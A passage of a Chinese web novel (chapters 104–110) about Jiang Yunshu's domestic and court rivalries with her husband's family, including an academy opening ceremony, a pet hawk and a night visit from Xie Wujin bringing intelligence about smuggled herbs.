沈清安一时无法反驳,嘴边的话生咽回去,直憋得脸色涨红。 老夫人听到两人说话,扭头看姜云舒,咧着嘴一脸唏嘘。 “听说那千寿丹可是长命药,吃一颗能多活五年呢!哎呀,多难得的药啊!”她扯着脸,都快哭了。 这么好的东西,就应该让她这个婆母吃才对啊,仁春堂里那么多好药,怎的就将这千寿丹当成贺礼送出去了? 姜云舒侧目瞧着老夫人嘬牙花子的表情,眼底神情一片寒凉。 提前她倒是掏心掏肺了,可换来的却是老夫人的蒙骗和背刺,如今还想着她的好东西,也不看看这张老脸配不配。 “老夫人想要的话……”姜云舒开口。 老夫人眼睛瞬间一亮,扭头一脸期待的看着姜云舒。 姜云舒薄唇轻启,温热的唇吐出薄凉的字眼,“想来高夫人会为老夫人准备的,毕竟,沈大人与高夫人那么孝顺,老夫人喜欢的,他们定然会有求必应。” 第105章 找不到的机关入口 老夫人一脸的期待僵在脸上,嘴角扯出一个命苦的表情。 呵,有求必应,自打大郎和高芝兰回来,她原本在姜云舒这里享受的特权和好东西全都没了,可恨的是高氏还竟然还给她用假药代替归心丸。 以前他们没回来时多好啊,姜云舒的身份给她开了多少便利通道,那些王侯府上的老夫人能吃能用的东西,姜云舒也都给她置办上,如今呢……没了,什么都没了! 什么有求必应,她现在怀疑沈清安和高芝兰是她的报应,替他们隐瞒欺骗姜云舒的报应! 接下来的宴会,歌舞声乐,三皇子还请了戏班子进宫,给皇后唱了一出穆桂英挂帅。 皇后看起来兴致恹恹,不过到底是三皇子的孝心,却也撑着打了赏。 白老太傅和老夫人年岁大了,经不住这么热闹,提前出了宫,姜云舒和裴钰受宁国公之命将二老送回去。 到了白老太傅府上,裴钰将老太傅送回内宅歇着,临走前,不忘叮嘱一声。 “您早歇着,明儿个崇文书院开学宴,您可别忘了。” “知道了,知道了!小兔崽子们,就知道折腾老夫!”白老太傅朝裴钰和姜云舒摆摆手。 裴钰又问姜云舒,“明日你去不去?” 当初姜云舒为了沈长元能进崇文书院没少折腾,如今那孩子不去了,她去不去都不打紧。 姜云舒却干脆地回了声,“去!” 老太傅听他俩说话,又转过身来,朝姜云舒叮嘱,“是,你得去,别忘了将你家那小崽子带上给我看看!” 姜云舒知道他说的是稚儿,紧忙点点头,应了一声“好”。 自白府出来,裴钰瞧见姜云舒那华丽的马车,忍不住咋舌。 “要不都说太后偏心你,瞧瞧,这么漂亮的马车,咱可是没坐过!” 一边说着,他抬脚走到马车跟前,伸手掀开车帘,“嘿,索性今日我也坐一坐这整个京城最软的马车!” 说着抬脚就往马车里钻,谁知道还没进去,就见一东西朝他扑了过来。 裴钰“哎呦”一声,差点摔下去,定睛一看,竟是谢无烬送给姜云舒的那只黑鹰! 此时黑鹰扑棱着翅膀,一双锐利的眼睛正锁定裴钰,只要他往马车里去,就啄他! 裴钰和黑鹰僵持了好一会儿,最后败下阵来。 “啧,好在这畜生护着你,否则,明天我就给它烤了!” 裴钰咬牙,话刚说完,就见那黑影朝他一扑翅膀,吓得他赶紧从马车上下来。 这玩意,是真抓眼珠子! “索性今日也没什么事儿,那便各回各的去处。”姜云舒朝裴钰挑了挑眉。 若是以往,裴钰还真要跟她贫几句,不过这会儿他还真有事,也不跟黑鹰计较了,摆摆手朝自己的马走了过去。 姜云舒和月禾上了马车。 路上,月禾盯着落在姜云舒肩膀上的黑鹰,半晌,开口问,“小姐,你累吗?” 姜云舒:“……” 当然累啊! 可它就非得抓着她的肩膀不松爪子,强行给它扔在马车的垫子上,它便用那圆溜溜的眼睛盯着她,看起来委屈极了! 这谁能受得了? 姜云舒哀怨地扭头朝那黑鹰瞪一眼,就在收回视线时,注意到它眼睛下的一撮白毛。 这一处白毛的位置,和之前救的那只,位置很像。 不过,当初那只雏鸟太小了,长大后或许已经变得她都认不出来。 “算了,反正收都收了,养就养着吧!” 说着,姜云舒一抬手,将黑鹰送到了月禾肩膀上。 月禾肩膀一沉,下意识想去控制黑鹰,却发现它竟乖乖的在她肩膀上站住了。 “难不成,我整日在小姐身边,沾染了小姐的气息,所以它才与我亲近?”月禾眼中带着欣喜。 不管怎么说,听说这黑鹰差点袭击七公主,还恐吓沈清安不准靠近小姐,就连刚才,裴世子要进马车也被它拦住,这么排斥他人的黑鹰竟对她亲近,这让她突然有种莫名的自豪感。 “那正好,这黑鹰以后交给你养了,争取明年这个时候,你能教会它说话。”姜云舒伸手在月禾肩膀上拍了拍,以示鼓励。 月禾难得地朝姜云舒翻了个白眼,“我说小姐,这是老鹰,又不是鹦鹉,别说明年,你就是给我一百年我都不能把它的嘴撬开。” 好家伙,小时候她家小姐抓到小鸟就要带回去养着,就为了让鸟说话,如今还惦记这出呢! 姜云舒不理会,闭上眼睛,不听不听,和尚念经。 两人拌着嘴,半个时辰后,马车在沈府门口缓缓停下。 姜云舒与月禾直接回了揽芳院,此时院子里的丫鬟仆人正在外面做事,两人径自进了里屋,就见冥风从里面迎了出来。 “姑娘!”冥风上前行礼。 “可查到了什么?”姜云舒直接问。 在姜云舒和沈家众人出门参加宫宴后,便安排了冥风趁机潜入沈清安的书房探查。 “书房外的阵法我破了,但是时间不够,进了书房,却并未找到密室的机关入口。”冥风声音有些低沉。 沈清安很谨慎,安排了身边的人在书房外巡逻,每半个时辰都会有人进去。 姜云舒没想到冥风都没能找到机关入口,下意识蹙起眉来。 “要不,咱们还是直接闯进去吧,如今这样,总是畏手畏脚。”月禾皱着眉头,一脸跃跃欲试的表情。 “急什么,现在还不是时候,不过……”姜云舒抿了一口茶,思量之后,道:“或许,高芝兰能是一个突破口。” “小姐的意思是,咱们在尚品堂找高氏的麻烦?”月禾紧忙问。 “不,这麻烦是给沈清安找的,不知道,届时高芝兰能不能受得住。” 姜云舒将手中杯盏放下,又问冥风,“如今那女人送到了什么地方?” 冥风回来了,那女人自也是到了京城。 “如今已经过了骁城,五日内到京城后便会送去万宝楼。”冥风应道。 “万宝楼,好地方啊!” 姜云舒眉梢轻挑,“准备一下,待她进京那日,我要亲自去一趟万宝楼。” 第106章 巧了,不顺路 翌日,清晨的阳光透过树梢,斑驳的照在地上,光影交错,天气逐渐变暖,鸟儿亦逐渐多了起来,落在枝头嬉戏吟唱。 姜云舒便是在这欢愉静谧的时刻醒来。 “小姐再不醒来,我可是要过来叫起了。” 月禾进门,转手招呼白芷也进来伺候。 今日崇文书院开学,老太傅都要早早过去,小姐若是晚了,怕是又要被念叨了。 白老太傅对学生向来严格要求,如姜云舒和裴钰这般肆意的,当年可是没少被念叨。 姜云舒端坐于铜镜面前,看着镜子里的自己,恍惚之间,又想起那年回京时后的场景,一晃,都快十年了。 “白芷,你先去备马车吧,等小姐梳妆好便出发。”月禾一边给姜云舒梳着头,朝白芷扬了扬嘴角。 “哎!”白芷应声,紧忙往外走。 老太傅的马车还没修好,这接送的差事姜云舒还得担着。 一盏茶的功夫后,姜云舒收拾妥当往外走,谁知刚到门口,竟与沈清安一家三口遇上了。 此时三人盛装,身上都是之前皇上赏赐的新绸缎裁成的衣服,三个人颜色相交呼应,在明媚艳阳之下散着熠熠光彩。 见姜云舒出来,高芝兰昂着头先开口,“姜夫人这是要出门?” 说话间,抬手将自己那身红色的软烟罗的裙子在姜云舒跟前晃了晃,看,这正室才能穿的红色,如今在她身上。 姜云舒余光瞥了一眼,只觉讽刺,她不想理会,只淡淡地“嗯”了一声。 这反应,没能满足高芝兰胜利欲,也不管姜云舒问没问,她自己道:“今日是崇文书院开学的日子,我和相公带长元参加开学宴。” “哦,恭喜啊!”姜云舒依旧不咸不淡,说着话就要往外走。 时间已经不早了,白老爷子可是个急性子。 “你!” 高芝兰见姜云舒还是满不在意,原本的兴奋变得有些着急了,“为人父母当然要为之计深远,这种感觉,姜夫人怕是体会不到。” 就算之前姜云舒为长元做过安排,可当时,依旧是当养子,到底不比亲生的上心。 这话出口,沈清安也觉不妥,伸手拽了高芝兰一把,又看向姜云舒。 “你今日这装扮,不像是要去清风村,你要去哪里?” “巧了,和你们一样,我也去崇文书院。”姜云舒扯了扯嘴角。 “你去崇文书院做什么?长元的生母可是我!”高芝兰一下子急了。 这可是她费劲了心思,花了千两银子才给儿子求来的机会,凭什么姜云舒出来捡好处? “没人跟你抢儿子,我只是同样收到了崇文书院的邀请函。” 姜云舒眼神一晃,就见月禾将手里的邀请函在沈清安和高芝兰眼前晃了晃。 “呵,你没有儿子,为什么会有邀请函?难不成,你又领养了一个?” 高芝兰说着话,扭头看向沈清安,“这可是大事,相公知道吗?” 沈清安自然不知道,但如今姜云舒做事也从来不跟他提,恍若将他这个一家之主视为空气。 想着,他忍不住蹙起眉头,却听姜云舒冷哼一声。 “我没有领养孩子的爱好,当初也只是以为沈大人死在外面,为了给他续香火才领养了长元。” 她歪着头朝沈长元看一眼,勾起的唇角吐出一句冰冷的话,“如今看来,领养的果然养不熟。” “你!” 高芝兰当即怒目一瞪,然而,也只是瞪眼,后面的话生生被憋在了嘴边。 当初姜云舒领养沈长元的背后,也是被他们联合起来期满背叛,这事儿他们几个都没脸再提。 “好了,既都去崇文书院,不如一道去。”沈清安一甩袖子,打断姜云舒和高芝兰。 此时听到“一道去”,旁边站着的沈长元忽然眼睛一亮。 “是乘坐那辆特别漂亮的马车吗?我要坐!” 上次姜云舒没让他上马车,可车帘掀开的瞬间,他看到了,那马车里不仅能躺着,中间还有个很大的桌子,上层可以下棋,下层都是点心。 听说这样的马车,便是皇子公主都没有,他坐在上面,岂不是比皇子公主都高贵? 自那次见过之后,沈长元对那马车便一直心心念念。 姜云舒扭头,对上沈长元那满脸期待的表情,眸光一沉。 “男子汉一言九鼎,你说以后不会再叫我一声娘,如何又要上我的车?” 她声音不大,可语气却极尽疏离,冷得没有一丝温度,听得沈长元下意识后退两步,闪烁的眼神之中,尽是一片慌乱。 嗯,是他说的,清清楚楚当着姜云舒的面喊出来的。 “姜夫人,你这是什么意思?长元还是个孩子!”高芝兰紧忙将沈长元搂过去。 她瞪着姜云舒,眼睛里都是愤怒,可其中一层紧张,依旧压制不住。 谁都喜欢好东西,尤其沈长元在京城见识了高门子弟家里那些好东西,便心心念念的也想要,可偏偏,有些东西不是银子能买来的。 区区五岁,高芝兰便已经感觉满足不了他了,等他再长大些,若不能从她这个亲娘这里得到满足,岂不是又要投去姜云舒那边? 此时这一对母子各有算计,姜云舒却越过两人,看向沈清安。 “我要去白老府上接人,与你们不顺路,还请沈大人让一让。” 说话的同时,姜云舒的脚步也没有停,径自朝沈清安走过去。 她脸上未带任何笑意,只是走过去,周身的气势压下来,沈清安下意识后退两步,让开了路。 眼看着姜云舒出门上了那辆漂亮的马车,沈长元猛地从高芝兰怀里挣扎出来,就要追过去。 “我要坐漂亮马车,我就要坐!” “长元!” 沈清安怒吼一声,喊住沈长元,“那不是你能坐的,时候不早了,随你娘上车!” 他盯着沈长元,瞪圆的眼睛里满是震慑。 不得不承认,沈长元对沈清安还是有些惧怕的,只一句话,他再也不敢吵闹,缩在高芝兰身后,不情不愿地上了沈家的马车。 沈家距离崇文书院不远,但姜云舒是先送了白老太傅过来,又在门口等着恭王府众人。 一炷香的时候后,恭王府的马车也在崇文书院门口停了下来,姜云舒紧忙上前迎接,先送闵青鸢怀里将稚儿抱了过来。 第107章 她为什么抱着别人 抱过稚儿几次之后,姜云舒也没有了一开始的紧张,此时抱得俨然一副很有经验的模样。 “稚儿,有没有想姑姑?”姜云舒伸手捏捏稚儿的脸。 “想姑姑!”稚儿搂着姜云舒的脖子,低头,“啪嗒”在她脸上亲了一口。 稚儿这主动一亲,可给旁边的舅舅羡慕坏了。 “我辛辛苦苦一柄木剑都换不来一个抱,怎么到了阿舒这里,他竟这般殷勤!”闵司捷没好气。 说着话,他伸手又要过来抱,却见稚儿一扭头又搂住姜云舒的脖子不撒手。 闵司捷一脸无奈,闵青鸢捂着嘴在一旁笑,气氛轻松融洽。 就在这时,沈家的马车也刚好停下,沈长元远远瞧见姜云舒抱着稚儿笑,当即怒气冲冲地一跺脚。 “她为什么抱着别人?”沈长元看沈清安。 沈清安瞧着姜云舒和闵司捷对视笑着,也下意识皱起了眉头。 自回来之后,他可从来没在姜云舒脸上看到这样的笑。 高芝兰瞧着父子二人的表情,唇角动了动,将沈长元抱在怀里。 “看这孩子的年岁,想来是恭王府世子之子,原本听姜夫人提及她不喜欢孩子,如今看来,只是不喜欢长元。” 姜云舒和沈清安在京城成婚时,来的只有父母和大哥,沈清安只听说她的大哥已经成婚,但他也没见过姜云舒的二哥和大嫂,此时闵青鸢在眼前,便下意识将她与闵司捷当成了夫妻。 此时听到高芝兰的话,当即黑了脸。 不得不承认,姜云舒是有手段的,她想攀高枝,所以连人家正妻和嫡长子也哄着,呵,谁能比她更有心机? 此时沈家马车里已经完全没了清晨出门时的喜庆,沈清安一脸阴暗,沈长元一脸愤恨,倒是高芝兰瞧着父子二人的表情,眼底闪过一抹得逞的笑。 眼看着典礼的时间到了,姜云舒便与闵青鸢和闵司捷进了内殿,沈清安一家也跟着下了马车往里走。 此时姜云舒众人进了内院,闵司捷便要稚儿下来自己走,岂料稚儿搂着姜云舒的脖子就是不下来。 “不要,要抱抱!”小家伙肉乎乎的小手亲昵地贴在姜云舒的身上。 “好好好,抱着,抱着我们稚儿!”姜云舒笑盈盈地将稚儿搂住。 此时沈长元瞧见,脸上的嫉妒更明显。 “哼,她都没有这样抱过我!” 当初来沈家时,他和姜云舒怀里那个小屁孩年纪也差不多,姜云舒什么都给他准备最好的,可就是没有像现在这样亲昵。 他也想让她抱抱,可看着她那冷肃的表情,生生不敢张口。 沈长元只记得姜云舒一直都是严肃的,可那时候的他并不知道,姜云舒母家遭难,如何能笑得出来? 此时听沈长元抱怨,高芝兰紧忙蹲下身来,将沈长元抱住。 “她终究不是你的亲娘,自然不会抱你。”她说。 “可那是她说让我叫娘的,是她要当我娘的!”沈长元依旧愤愤不平,好像叫了那几声娘吃了什么大亏似的。 沈清安蹙眉瞪了沈长元一眼,让他闭嘴,此时,姜云舒已经到了内院门口。 眼瞧着姜云舒被门口侍卫拦下,高芝兰忍不住幸灾乐祸地哼了一声。 崇文书院本就是皇权贵胄培养子弟的所在,能进崇文书院的孩子,要么祖辈根基深,要么便是四品以上官员。 可即便进了崇文书院的孩子,也分高低,能进内院的,要么是皇室宗亲,要么便是太傅亲自挑选的弟子,就比如姜云舒她爹。 “白老太傅不是说过,他收弟子都是要通过考核的,姜云舒怀里那孩子不过三岁,话都说不清楚,能进外院也是因为出生在恭王府,姜云舒还能……” 谁知,话还没说完,就见吏部周侍郎家那位公子急匆匆出来。 “快进来,白老太傅已经在里面等着了。”周晗恭敬地将姜云舒众人请了进去。 高芝兰原本的得意一下子僵在嘴角,她愣愣地看着周晗带着他们进去,脸上只觉一阵火辣辣的难受。 “不是,那孩子……他凭什么就能进内院了?” 沈清安黑着脸,没接话,却见两侍卫走过来,将他们拦住。 “再往前走便是内院,你们可有腰牌?”侍卫问。 沈长元就是个外院弟子,哪里来的腰牌? 可见姜云舒抱着别人内院,沈长元的嫉妒心一下子到达了顶峰。 “我也要去内院!我不管,我也要去!” “听说内院有锦鲤池,里面还有好大好大的王八,我也要进去,我也要!” 五岁的孩子,在得不到满足时,第一件事就是哭。 这一哭,引来众人围观,原本还以为是哪家国公侯爷家的小少爷,结果看到沈清安时,眼神在诧异之后,变更了嘲讽。 “这不是沈家那孩子吗?听说之前想入白老太傅门下,结果没通过测试。” “区区五品官员门第,还想着进内院,真真是痴人说梦。” “不过,原定国将军府家那位大小姐不是嫁到沈家了吗?有她和白老太傅这层关系,说不定能进呢。” 人们的议论声传入沈清安耳中,他原本铁青的脸上,又添了一层阴沉。 当初,若不是为了给芝兰安全感,强行将沈长元的管教交给她,长元入崇文书院本已经是板上钉钉的事,而且还是内院。 可如今后悔也已经晚了。 “好了!” 沈清安没好气地朝沈长元怒吼一声,“你能有机会来崇文书院听课,已经是别人羡慕都得不来的,你若再闹,我便请先生来家里授课,届时你哪里都别想去!” 一句话,说的沈长元脖子一缩,原本的哭闹戛然而止。 来崇文书院上课,上学下学的路上,他尚且能有玩乐的余地,若是被绑在家里,那可真真就是被盯死了。 崇文书院的开学典礼,十几年都是老样子,对于姜云舒来说,也没有什么新意。 进了内院,闵青鸢和闵司捷带着稚儿进去见白老太傅,姜云舒无聊,便去人工湖边赏鱼。 满池的锦鲤,金黄和红色交错,加上池底的水草配色,美得让人一下子沉静下来。 姜云舒拿着鱼食往里撒,低头的瞬间,恍惚看到靠近的影子,猛然转身。 第108章 你已经不是我的孩子了 “啊——” 身后之人吓了一跳,连退两步,跌坐在地上。 姜云舒转身,瞧见是沈长元,眉梢轻挑。 “长元?你来这里做什么?” 她居高临下的看着他,没有要伸手将他扶起来的意思。 沈长元等了半晌也没见姜云舒过来,闷着一口气,嘴一瘪,撅起屁股起身。 “我不能来这里吗?”他没好气,昂首看向姜云舒。 “按理说,你的确不能来这里。” 姜云舒将手里的鱼食洒进锦鲤池,挑眉看他,“内院是皇室宗族子弟听学之处,你是外院学生,是不允许进内院的。” “可是当初你就说了让我进内院的!” 沈长元似是压着情绪吼一声,说话的功夫眼睛都红了,仿佛受了什么委屈。 他吼完,声音又落了下来,小声念叨,“我也想进内院……” “你亲娘已经回来了,你的一应安排都由她做主,而且,之前你也说过,你的事情,不用我管,如今还来找我做什么?”姜云舒低头抿一口茶,并不看他。 沈长元到底是孩子,在他认知里,随口说出的话本就带着耍赖否认的可能,如今听姜云舒这样说,倒是急了。 “你是不是更喜欢恭王府家的孩子?”他昂着头,红着眼睛,眼看着就要哭出来。 姜云舒一时没反应过来他这冷不丁的一句,但也下意识点了头。 “我对稚儿那孩子,的确疼爱。” 毕竟是兄长的孩子,姜家的长子长孙,她这个亲姑姑自然疼爱。 可这话出口,沈长元仿佛终于绷不住了,强压住的泪水一下子决了堤。 “你现在已经选了别人的儿子,你怎么能这么狠心,你,你别后悔!” 沈长元指着姜云舒怒吼几声,哇哇地哭着跑了出去。 就在沈长元出去的功夫,月亮门背后,高芝兰眼看着眼前的一幕,双手不由得攥起了拳头。 是她冒着风险买通了看守让沈长元进来长见识,他却跑到姜云舒跟前质问,还一脸委屈吃醋的样子! 她的儿子,分明是她的儿子,为什么也对姜云舒这样念念不忘! 姜云舒! 沈家只能有一个女主人,那只能是她高芝兰! 原本光耀门楣的崇文书院开学宴,沈清安一家三口是高高兴兴出门,回来时脸却是一个比一个拉得长。 老夫人一时不明所以,开口询问,沈清安却不说话,沈长元直接气鼓鼓的冲出去,只剩高芝兰一脸委屈的站在原地。 “到底怎么回事?”老夫人沉下脸来。 “是……” 高芝兰看了沈清安一眼,似是犹豫稍许才回答,“我们在崇文书院遇上了姜夫人,长元瞧见她带着恭王府的小世子进了内院,心有不服,便去找她请求,奈何姜夫人生了他的气……” “哼!真真是高门出身,与咱们小门户就不是一条心!就算长元不是她身上掉下来的肉,那可是我沈家的长子长孙,她如今还占着主母之位,却丝毫不为我沈家打算!” 说着话,老夫人看向沈清安,“你就不能管管她?当初她对你可是言听计从!” 老夫人这话一出口,沈清安的脸色更难看了。 当初姜云舒的确对他言听计从,可这不是……现在他说一句,姜云舒有十句等着他,偏偏,他还无从反驳。 就拿长元入崇文书院这件事,若非当初……要不是老夫人什么都不说,他也不至于将事情办得没有退路。 “好了,左右也是进了崇文书院,教书的先生也都出身名门名师,长元自己若肯努力,往后考取功名也是顺理成章!”沈清安转移话题。 当初他还不是从清州那小地方读书一路考取长来的? 高芝兰看沈清安的脸色行事,似是想起什么,伸手从腰间掏出几张银票。 “对了,尚品堂开业整一月,如今店铺已经开始盈利,这一千两是我与相公孝敬母亲的。” 说着,她转手将银票送到老夫人面前。 瞧见银票,老夫人的眼睛一下子亮了。 “头一个月就盈利这么多?你果然是我沈家的福星呢!” 说话间,老夫人眉开眼笑地将银票接了过来。 高芝兰眼瞧着老夫人将银票塞进腰间,唇角猛地抽搐一下,这可是她的血汗钱,肉疼啊! 可是,舍不得孩子套不着狼,她眼珠子一转,往老夫人跟前凑了凑。 “是啊,到底是京城之内,天子脚下,生意还是好做的,正巧店里还少一尊财神,老夫人若是得空,我们一起去清风观拜拜呀。” “哎呀,对,是该拜拜了,近日我沈家发生诸多事务,是该去拜拜。” 老夫人连忙应和,随即又看向沈清安,“这样,三日后你休沐,我们一家都去。” 末了,又点了一句,“你去跟姜氏知会一声。” 自宫宴回来,姜云舒身边就多了一只黑鹰,那东西眼神犀利,之前在宫宴上还差点抓了七公主的眼睛,她可不敢靠近。 “是。”沈清安应声。 此时,揽芳院。 夜色如墨,悄然降临,将万物温柔地揽入怀中。 姜云舒刚看着月禾给黑鹰为了肉,两人趴在桌上,看着架子上的黑鹰。 “小姐,你说,这东西真的能窃取情报?它怎么知道情报有没有用呢?”月禾蹙着眉,一脸不解。 “我也只是听说,却未曾亲眼见过,猎犬能依靠嗅觉,它嘛,大概靠的是眼睛吧。” 姜云舒歪了歪头,一脸认真的看向月禾,“它要是能说话,窃取情报时应该更有利。” 月禾:“……” 你要不想点别的异能呢?这是鹰,真不是鹦鹉! “方才,沈清安派人过来送信儿,说是要去清风观上香,这道观不大,平日里,这种道观都入不了老夫人的眼,怎的如今竟要携全家去上香?我总觉着有什么猫腻。” 月禾也偏过头看她,清澈的眼睛里,是大大的不解。 姜云舒挑了挑眉,对月禾的猜想不予置评,却又在一瞬间,眼神倏然犀利。 “出来!” 姜云舒和月禾喊声出口的瞬间,屋内一道黑影闪过,朝着姜云舒的心口袭来。 第109章 出门晒月亮 姜云舒迅速侧身,反手抓住他的手腕借力一个翻身,另一手快速出掌,力道如虹依旧朝着那人的胸口打了出去。 “小姐!” 月禾低吼低头一声就要上前助阵,结果那人扭头,看到是谢无烬那张脸时,楞了一下。 “怎么是你?” 姜云舒也认他来,手上力道却没有丝毫未减,只一转手,掌化作爪掐在了谢无烬脖子上。 “嘶——” 谢无烬被掐得倒吸一口凉气,略显哀怨地看向姜云舒,“我好心来给你送消息,你竟对我下这般狠手,姜云舒,你的良心呢?” “你不对我出手,我能对你下狠手?”姜云舒没好气地朝他翻个白眼,“更何况,有什么事儿你可以白天说,深更半夜进女子闺阁,你又是安的什么心?” “战场之上率领千军,斩首敌军猛将之人,如今卸甲倒在意起闺阁小节了?” 谢无烬歪着头看她,唇畔勾起淡淡的笑。 他所言并非轻视,而是姜云舒的经历在他眼中是与众不同的,这种不同于他来说,是一种吸引。 而此时姜云舒听得谢无烬的话,眸光却是一沉,“你如何得知,我曾率千军,斩首敌军猛将?” 这的确是她的功绩,不过那时大哥身负重伤,二哥的援兵又在路上,眼看两军再次交战,姜云舒不得已拿了大哥的令牌,率领奇袭军队应战。 那是一场漂亮的战役,姜云舒以千人敌万兵,大获全胜,可对于她来说,却是违背军纪,要受处罚的。 好在当时并没有几个人知道真正领兵的是姜云舒,父亲也将内幕压了下来,这样机密的事,谢无烬如何知道? 难不成,他竟在赤羽军中安插了人? “你这是什么眼神?” 谢无烬似是猜到她的想法,侧身往桌边靠了靠,微微勾起唇角,“你别忘了,赤羽军与我渊政王府的玄武军常有切磋,当时你爹派去的援军中,也有我渊政王府的铁骑营。” 姜云舒紧绷的情绪倏然散开。 是了,她倒是忘了,小时候,渊政王府驻地与北夷边境也相邻,是以,定国将军府的赤羽军和渊政王府的玄武军,每年都要进行一场切磋。 许是打得酣畅,两个爹竟然就在庆功宴的酒桌上给他们定了婚事。 “哦!” 姜云舒松开谢无烬,退后一步,挑眉看他,“所以,你如今这个时辰来找我,所为何事?” 他最好有重要的事! “不是你说的吗,消息共享。” 谢无烬抬手,将月禾刚给姜云舒倒的茶截了,“最近我收到消息,之前沈家调来的那批草药,是经过大长公主的东江水路运进来的,你的人没有发现尚品阁的草药有问题?” 说着话,他低头抿一口茶。 “欸!” 月禾见谢无烬截了茶,下意识开口,然而话还没出口,就见茶已经入了他的口,没好气地瞪他一眼,又重新给姜云舒倒了一杯,这次是直接送到了姜云舒手里。 姜云舒捧着手中的温热,思绪在脑子里快速纠缠,抬头看向谢无烬。 大长公主是先帝嫡长女,自小集万千宠爱于一身,是以,先帝在世时,她风光一时,甚至还被允许参政,就连京城运输的命脉之一的东江码头也被她掌控。 可当今皇上与大长公主关系并不亲厚,甚至可以说,大长公主与皇上是有怨气的,毕竟,当时与北夷和谈,大长公主的女儿锦姒郡主被挑中做了和亲公主。 如今皇上并未收回东江码头,也就是因为大长公主手握先帝圣旨。 “锦州水患,多处路段被堵,物资被积压在外,大长公主的东江码头的确成了最优的选择,可我听说,东江码头有规矩,不接收草药运输,沈清安得多大的脸面才能让大长公主破例?”她蹙着眉头。 谢无烬挑眉,再提示,“锦姒郡主嫁入北夷十年,母女再无见面,加之北夷二皇子失势,你猜能让大长公主破例的原因是什么?” 自然是锦姒郡主。 “难不成,沈清安与北夷有联系,以锦姒郡主为条件,换取大长公主的协助?可他也只不过去过一次金陵城,如何能与锦姒郡主有关联?” 她抬头,视线与谢无烬目光触碰时,握着手背的双手不自觉的加重了力道。 她确定,沈清安不可能与锦姒郡主有任何接触。 谢无烬也瞧着姜云舒的神情,眉梢轻挑,“谁说一定要与锦姒郡主有关联?他只需在大长公主面前透露有关锦姒郡主的信息,再夸口能为大长公主带来消息,只需一封信,开放东江码头不是大长公主一句话的事儿?” “你的意思是,假消息也行?可你应该知道,大长公主与锦姒郡主通信,其中联络的必定是她信任之人,沈清安凭什么能得大长公主信任?”姜云舒眉心紧锁。 大长公主是个聪明人,当今皇上薄凉,她便避其锋芒,做事低调稳妥小心谨慎,这样一个人,可是不会轻易相信他人的。 “如果,沈清安手里有一样锦姒郡主的信物呢?”谢无烬说话时,也不知是有意还是无心,抬手在发间那根白玉簪上摸了摸。 姜云舒朝他瞪一眼,怒意之中又透着若有似无得审视,“只是这条消息,并不足以让谢世子大半夜跑来我这里一趟,你此时来的真正目的是……” “就是单纯睡不着,出来晒月亮,晒着晒着,就想到了你,所以我就来了。” 说话间,谢无烬朝姜云舒跟前凑了过来,脸色沉下来,“我都将我查到的如实分享给你,这么诚意,你是不是得有所表示?” 姜云舒:“……” 虽然这张脸的确好看,可她有点忍不住想在上面呼一巴掌。 “方才你抢了我的茶,我都没跟你动手,这表示还不够?”姜云舒朝他翻了翻眼皮。 “啧!可真是抠!” 谢无烬一撇嘴,将茶一口饮尽,“要不你送我一只黑仔的木雕,如何?” 木雕? 姜云舒顿了一下,随即诧异地看向谢无烬。 他怎么连自己会木雕的事情都知道? 这人来京的一路上,调查了不少事儿啊! “行行行,那天等我心情好了,或许能给你雕一个!” 说着话,她打了个哈欠,一手将靠近的谢无烬撑开,“谢世子继续晒你的月亮吧,我困了,再见!” 话音落,月禾转身开门,姜云舒手上突然出力,直接将谢无烬推了出去,紧接着“哐当”一声,将人关在了门外。 第110章 沈家的东西 好一会儿,外面没了动静,估摸着谢无烬是离开了,月禾犹豫了瞬间,凑过来。 “沈清安不会真的在金陵城与锦姒郡主有了接触吧?”她一脸担忧。 “不会。”姜云舒抿一口茶,语气坚定,“锦姒郡主心高气傲,又继承了大长公主谨慎的性子,自她住进我那处密室开始,除非我亲自出面,她不会再相信任何人。” “那就好!如此,待沈清安被戳穿,以大长公主的性子,他的日子怕是不好过了!”月禾一脸幸灾乐祸。 “那是以后的事了,现在,我要睡觉!” 姜云舒身子一歪,躺在床上,“也不知清风观那种野修之地有什么好上香的,老夫人非得折腾一大早,你也赶紧回去歇着,明日还得起早呢。” “是是是,我这就回去。”月禾收拾好,转身退了出去。 翌日。 清晨的阳光总是温暖中带着柔和,清风如斯阳光明媚。 天色尚早,沈家下人便开始准备上香的一应物什,这一次,全家除了要当值的沈清睿,全都要去清风观。 有了前两次的经验,这次老夫人还提前与姜云舒知会,要乘坐她的马车。 这一次,姜云舒倒是没拒绝,只是惋惜的叹一口气,“白老太傅家的马车损坏还未修好,我便将马车暂留在老太傅府上。” 老夫人当时脸色一沉,当即黑着脸让姜云舒要回马车。 “那可是太后赏赐给你的,那便是我沈家的东西,你怎么随便外借?”老夫人一脸不悦。 这话一出口,就连姜云舒都楞了一下,相处三年,她也着实没想到老妇人的脸皮能厚到这个程度。 她的陪嫁,怎么就成了沈家的东西? 姜云舒尚未开口,一旁的高芝兰也开口接话,“姜夫人知道的,老夫人很喜欢那辆马车,如今我们全家去清风观请愿,也是大事,你还是将马车要回来吧。” 姜云舒眼皮一掀,眼神倏然冷厉,“是你向老夫人提的请愿,请的也是你尚品阁的财神,与我何干?更何况,我什么时候与你成一家了?” 高芝兰口口声声自称沈清安的原配发妻,可如今她的身份并未被公正,便是妾室进门都要计入家族侧谱,而她高芝兰的名字,便是连“亡妻”都未有标注。 “你!” 高芝兰一口气没上来,被憋了个大红脸,当即便红了眼睛。 沈清安见状皱眉,上前一步护住高芝兰,正要开口,却见姜云舒同样走过来。 “沈大人应该知道,近日太傅多进宫,都是皇上身边内侍太监亲自接送出入宫门,你猜,他会不会与皇上禀报老太傅穿什么衣服,坐什么马车?” 沈清安眸光一滞,似是一下子被点醒。 白老太傅是皇上敬重之人,姜云舒将太后赏赐的马车给老太傅乘坐,皇上自然心感安慰,这赞许的视线,也自然会转向他这个做丈夫的。 如此想来,这马车的确不能要回来。 “罢了,我沈家又不是没有马车!” 沈清安松开高芝兰,沉声对老夫人道:“时候不早了,别耽误了吉时。” 这一提醒,老夫人紧忙抬头看了一眼日头,“是是是,快些出发,今日我可要烧头一炷香!” 自从上次在崇光寺被信阳侯府老太君挤兑一阵之后,老夫人像是对崇光寺生了怯意,如今听高芝兰说那清风观很灵验,当时便生出了好奇心。 得了老妇人的命令,众人紧忙收拾着东西往外搬,此时高芝兰一口气没发泄出来,只瞪着姜云舒,眼睛里几乎要放出刀子一般。 哼,不过是一辆马车,有什么好得意的,今日进了清风观,就让你在沈家没有立足之地! 